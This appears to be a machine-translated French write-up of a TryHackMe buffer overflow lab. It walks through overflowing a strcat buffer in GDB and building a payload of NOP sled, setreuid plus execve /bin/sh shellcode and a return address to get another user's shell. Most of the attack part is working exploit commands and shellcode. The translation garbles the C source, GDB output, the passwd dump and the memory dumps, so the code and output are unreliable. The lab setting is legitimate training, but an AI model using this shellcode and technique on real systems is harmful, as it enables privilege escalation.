[User1 @ IP-10-10-232-238 Overflow-4] $ Cat Buffer-Overflow-2.c #include<stdio.h> #inclure<stdlib.h> void concat_arg (char * string) {char tampon [154] = "doggo"; strcat (tampon, chaîne); printf ("New Word est% s \ n", tampon); retour 0; } int main (int argc, char ** argv) {concat_arg (argv [1]); }Strcat () est une fonction qui peut provoquer un débordement.
Je pense que nous l'utiliserons cette fois.
Maintenant, exécutons-le dans GDB.
[User1 @ IP-10-10-232-238 Overflow-4] $ GDB Buffer-Overflow-2 GNU GDB (GDB) Red Hat Enterprise Linux 8.0.1-30.amzn2.0.3 Copyright (C) 2017 Free Software Foundation, Inc. Licence GPLV3 +: GNU GPL Version 3 ou plus tard<http://gnu.org/licenses/gpl.html> Ceci est un logiciel gratuit: vous êtes libre de le changer et de le redistribuer. Il n'y a pas de garantie, dans la mesure permise par la loi. Tapez "Afficher la copie" et "AVERTISSEMENT AVERTISSEMENT" pour plus de détails. Ce GDB a été configuré comme "x86_64-redhat-linux-gni". Tapez "Afficher la configuration" pour les détails de configuration. Pour les instructions de rapport de bogues, veuillez consulter:<http://www.gnu.org/software/gdb/bugs/> . Trouvez le manuel GDB et d'autres ressources de documentation en ligne sur:<http://www.gnu.org/software/gdb/documentation/> . Pour obtenir de l'aide, tapez "Aide". Tapez "APROPOS Word" pour rechercher des commandes liées à "Word" ... Reading Symboles de Buffer-Overflow-2 ... (Aucun symbole de débogage trouvé) ... fait. (GDB) Il doit être compensé comme le tampon (154) + octet d'alignement (??) + RBP (8).
Commençons par 154 + 8 = 162 bytes.
(gdb) exécuter $ (python -c "print ('a' * 162)") Le programme débogué a déjà été lancé. Commencez-le depuis le début? (Y ou N) Y Programme de démarrage: / home / user1 / overflow-4 / buffer-overflow-2 $ (python -c "print ('a' * 157)") Nouveau mot est dogoaaaaaaa le programme reçu sigsegv, défaut de segmentation. 0x000000004005d3 dans main ()Il n'y a pas de "41", donc il n'a pas été écrasé.
Je viens de saisir 164 octets et je l'ai exécuté.
(gdb) exécuter $ (python -c "print ('a' * 164)") Le programme débogué a déjà été lancé. Commencez-le depuis le début? (y ou n) y Programme de démarrage: / home / user1 / overflow-4 / buffer-overflow-2 $ (python -c "print ('a' * 164)") Nouveau mot est dogoaaaaaaa le programme reçu sigsegv, défaut de segmentation. 0x00000000400041 en ?? ()Il y a "41", il a donc été correctement écrasé.
Je voudrais connaître la fin de l'adresse de retour, donc je vais essayer d'entrer 169 octets.
(gdb) exécuter $ (python -c "print ('a' * 169)") Le programme débogué a déjà été lancé. Commencez-le depuis le début? (Y ou N) Y Programme de démarrage: / home / user1 / overflow-4 / buffer-overflow-2 $ (python -c "print ('a' * 169)") Nouveau mot est dogoaaaaaaa le programme reçu sigsegv, défaut de segmentation. 0x00004141414141 dans ?? ()Tout est rempli de "41".
Juste pour être en sécurité, essayez de le faire fonctionner avec 170 octets.
(gdb) exécuter $ (python -c "print ('a' * 170)") Le programme débogué a déjà été lancé. Commencez-le depuis le début? (Y ou N) Y Programme de démarrage: / home / user1 / overflow-4 / buffer-overflow-2 $ (python -c "print ('a' * 170)") Nouveau mot est dogoaaaaaaaa le programme reçue sigsegv, défaut de segmentation. 0x000000004005AB dans Concat_arg ()J'en fais trop, donc j'utilise une adresse différente.
Nous savons maintenant que 6 octets de 164 à 169 sont les adresses de retour.
La version hexadécimale du shellcode est la même qu'auparavant.
\ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05Pour vérifier ce secret.txt, il doit être user3, donc j'ajouterai également le code setReUid ().
Tout d'abord, vérifions l'UID de l'utilisateur3.
[user1 @ ip-10-10-232-238 Overflow-4] $ cat / etc. Adm: X: 3: 4: Adm: / var / adm: / sbin / nologin lp: x: 4: 7: lp: / var / spool / lpd: / sbin / nologin Sync: x: 5: 0: sync: / sbin: / bin / syncor HALT: X: 7: 0: Halt: / Sbin: / Sbin / Halt Mail: X: 8: 12: Mail: / var / Spool / Mail: / Sbin / Nologin Opérateur: X: 11: 0: Opérateur: / Root: / Sbin / Nologin Games: X: 12: 100: Jeux: / USR / Games: / Sbin / Nologin Ftp: X: 14: 50: FTP Utilisateur: / var / ftp: / sbin / nologin Nobody: X: 99: 99: Personne: /: / sbin / nologin systemd-network: x: 192: 192: Systemd Network Management: /: / sbin / nologin dbus: x: 81: 81: System Message Bus: /: / sbin / nologin RPC: Daemon: / var / lib / rpcbind: / sbin / nologin libstoragemgmt: x: 999: 997: dami compte pour libstoragemgmt: / var / run / lsm: / sbin / nologin sshd: x: 74: 74: privilege-sekaated ssh: / var / vide / sshd: / sbin / nologin ssh: / var / vide / sshd: / sbin / nologin ssh: / var / vide / sshd: / sbin / nologin ssh: / var / vide / sshd: / sbin / nologin ssh: / var / vide / sshd: / sbin / nologin ssh: / var / vid RPCUSER: X: 29: 29: Service RPC User: / var / lib / nfs: / sbin / nologin nfsnobody: x: 65534: 65534: User anonymous NFS: / var / lib / nfs: / sbin / nologin EC2-Instance-Connect: X: 998: 996 :: / Home / EC2-Instance-Connect: / Sbin / Nologin Postfix: X: 89: 89 :: / var / Spool / Postfix: / Sbin / Nologin Chrony: X: 997: 995 :: / var / lib / chrony: / sbin / nologin tcpdump: x: 72: 72 :: / sbin / nologin ec2-user: x: 1000: 1000: ec2 user par défaut: / home / ec2-user: / bin / bash user1: x: 1001: 1001 :: / home / user1: User3: x: 1003: 1003 :: / home / user3: / bin / bashL'UID de User3 est 1003.
À l'aide de PWNTOOLS, nous générerons le code hexadécimal pour la pièce setReUid ().
┌fique (HackLab㉿HackLab) - [~] └─ $ pwn shellcraft -fd amd64.linux.setReUid 1003 \ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x05Le code final ressemble à ceci:
il est de 54 octets au total.
# \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05Ensuite, nous rechercherons l'adresse du shellcode hexadécimal.
Assurez-vous que Junk (87Byte) + Shellcode (54Byte) + Junk (22 byte) + Adresse de retour (6 byte) = 169 byte.
Dans la camelote avant le shellcode, ajoutez à l'avance NOP (\ x90).
(gdb) exécuter $ (python -c "imprimer '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+' a '* 22 +') Le programme débogué a déjà été lancé. Commencez-le depuis le début? (Y ou N) Y Programme de démarrage: / Home / User1 / Overflow-4 / Buffer-Overflow-2 $ (Python -C " '\x90'*87+'\x31\xff\x66\xbf\xeb\x03\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6a \ x3c \ x58 \ x31 \ xff \ x0f \ x05 '+' a '* 22 +') Le nouveau mot est doggo1fjqxhj; xh1i // bin / shiaphrwhjL'adresse de retour est "B", il est donc rempli de "42".
Vider l'emplacement de la mémoire.
(gdb) x / 100x $ RSP-200 0x7ffffFffe218: 0x004005a9 0x000000000 0xf7fffa268 0x00007ffff 0x7fffffffe228: 0xffffe63a 0x007ffff 0xfffffffffe 0x90909090 0x909090 0x909090 0x909090 0x7fffffffffe248: 0x90909090 0x909090 0x7fffffffffe248: 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x909090 0x7fffffffe258: 0x909090 0x909090 0x909090 0x909090 0x909090 0x7ffffffffffe 0x7fffffffffe278: 0x909090 0x909090 0x909090 0x7fffffffe278: 0x909090 0x909090 0x909090 0x7ffffffffe288: 0x9090 0xbf66ff3110x716a03ebf6fff31 0x716a03ebf. 0xfe894858 0x7ffffffffffe298: 0x3b6a050f 0xd2314858 0x2f2fb849 0x2f6e6962 0x7ffffffe2a8: 0xc1496873 0x504108e8 0x52e78948 0xe68948577 0x7fffffffe2b8: 0x3c6a050f 0xff314858 0x4141050f 0x414141 0x7fffffffe2c8: 0x414141 0x414141 0x414141 0x414141 0x414141 0x7fffffffe2d8: 0x424242 0x00004242 0xfffffe3d8 0x00007ffff 0x7fffffffe2e8: 0x0000000 0x0000002 0x004005e0 0x0000000 0x7ffffffe2f8: 0xf7a4302a 0x0000008 0x00007ffff 0x000040000 0x0000002 0x7fffffffffe318: 0x004005ac 0x000000 0x000000 0x000000 0x7fffffffffe328: 0x04bbf356 0x29eb8017 0x00400450 0x0000000 0x7fffffffe338: 0xffffe3d0 0x0000000 0x000000 0x7fffffffe348: 0x0000000 0x000000 0x7ffffffe348: 0x0000000 0x000000 0xc97bf356 0xd6147f68 0x7ffffffe358: 0x500000000000006 0xd6146fdf 0x0000000000000000000000 0x7fffffffe368: 0x0000000 0x000000 0x0000000 0x0000000 0x7ffffFFE378: 0xFFFFFE3F0 0x000007FFFFF 0xf7fffe130 0x00007ffff 0x7ffffffe388: 0xf7De7656 0x00007FFFFFFFFFFFE388: 0xF7DE7656 0x00007FFFFFFFF 0x0000000 0x00000000. 0x7fffffffffe398: 0x000000 0x0000000 0x0000000Il y a un Shellcode dans la deuxième colonne de 0x7fffffffe288.
Partout où vous remplissez avec NOP, mais cette fois, faisons "0x7fffffffe288" la destination de retour.
Définissez B sur l'adresse de retour: 0x7fffffffe288 ⇒ 0x88e2ffffffff7f ⇒ \ x88 \ xe2 \ xff \ xff \ xff \ x7f.
[user1 @ ip-10-10-232-238 Overflow-4] $ ./buffer-overflow-2 $ (python -c " '\ x90' * 87 + '\ x31 \ xff \ x66 \ xbf \ xeb \ x03 \ x6a \ x71 \ x58 \ x48 \ x89 \ xfe \ x0f \ x0 5 \ x6a \ x3b \ x58 \ x48 \ x31 \ xd2 \ x49 \ xb8 \ x2f \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x49 \ xc1 \ xe8 \ x08 \ x41 \ x50 \ x48 \ x89 \ xe7 \ x52 \ x57 \ x48 \ x89 \ xe6 \ x0f \ x05 \ x6 a \ x3c \ x58 \ x48 \ x31 \ xff \ x0f \ x05 '+' a '* 22 +' \ x88 \ xe2 \ xff \ xff \ xff \ x7f '") Le nouveau mot est doggo1fjqxhj; xh1i // bin / shiaphrwhjJ'ai pu obtenir avec succès le shell de l'utilisateur3.
Enfin, vérifiez secret.txt.
SH-4.2 $ Cat secret.txt wowanothertime !!Répondre
résumé
Cette fois, j'ai essayé le débordement de tampon.
Pour être honnête, je ne comprends toujours pas le mécanisme de la mémoire, mais je pense que je comprends comment déborder.
Références et sites
The Bob Loblaw Blog: https://bobloblaw321.wixsite.com/website/post/tryhackme-buffer-overflows
l1ge’s Cabin: https://l1ge.github.io/tryhackme_bof1/
![[Hackthebox] Que faire si "une erreur de type httpclient :: receivetimeouterror s'est produite, le message est exécuté expiré" apparaît dans Evil-winrm](https://hack-lab-256.com/wp-content/uploads/2023/09/hack-lab-256-samnail-4-300x169.jpg)
![[CVE-2015-3306] J'ai énuméré la samba partagée, manipulé une version vulnérable de ProfTPD et augmenté les privilèges en manipulant les variables de chemin! Tryhackme Kenobi écrit](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-2-300x169.jpg)
![[CTF permanent pour les débutants] Setodanote CTF web writeUp! Recommandé pour avoir un sentiment de CTF!](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-1-1-300x169.jpg)
![[Tryhackme] Nous avons effectué une analyse de paquets à l'aide de Wireshark pour étudier l'intrusion de SSH-Backdoor! SURPASS2 WRITEUP](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-300x169.jpg)
![[CVE-2018-16763] CMS CMS 1.4.1 - J'ai converti l'exécution du code distant (1) en Python 3 et je l'ai piraté! Tryhackme Ignite WRIPUP](https://hack-lab-256.com/wp-content/uploads/2023/08/hack-lab-256-samnail-25-300x169.jpg)
![[Tryhackme] J'ai utilisé SSH2John pour extraire le hachage de la clé privée et pira le mot de passe avec John the Ripper! SURPASS](https://hack-lab-256.com/wp-content/uploads/2023/07/hack-lab-256-samnail-24-300x169.jpg)
![[Tryhackme] J'ai essayé d'infiltrer une machine Windows avec une attaque RET2ESP (débordement de tampon)! Brainstorming writing](https://hack-lab-256.com/wp-content/uploads/2023/06/hack-lab-256-samnail-23-300x169.jpg)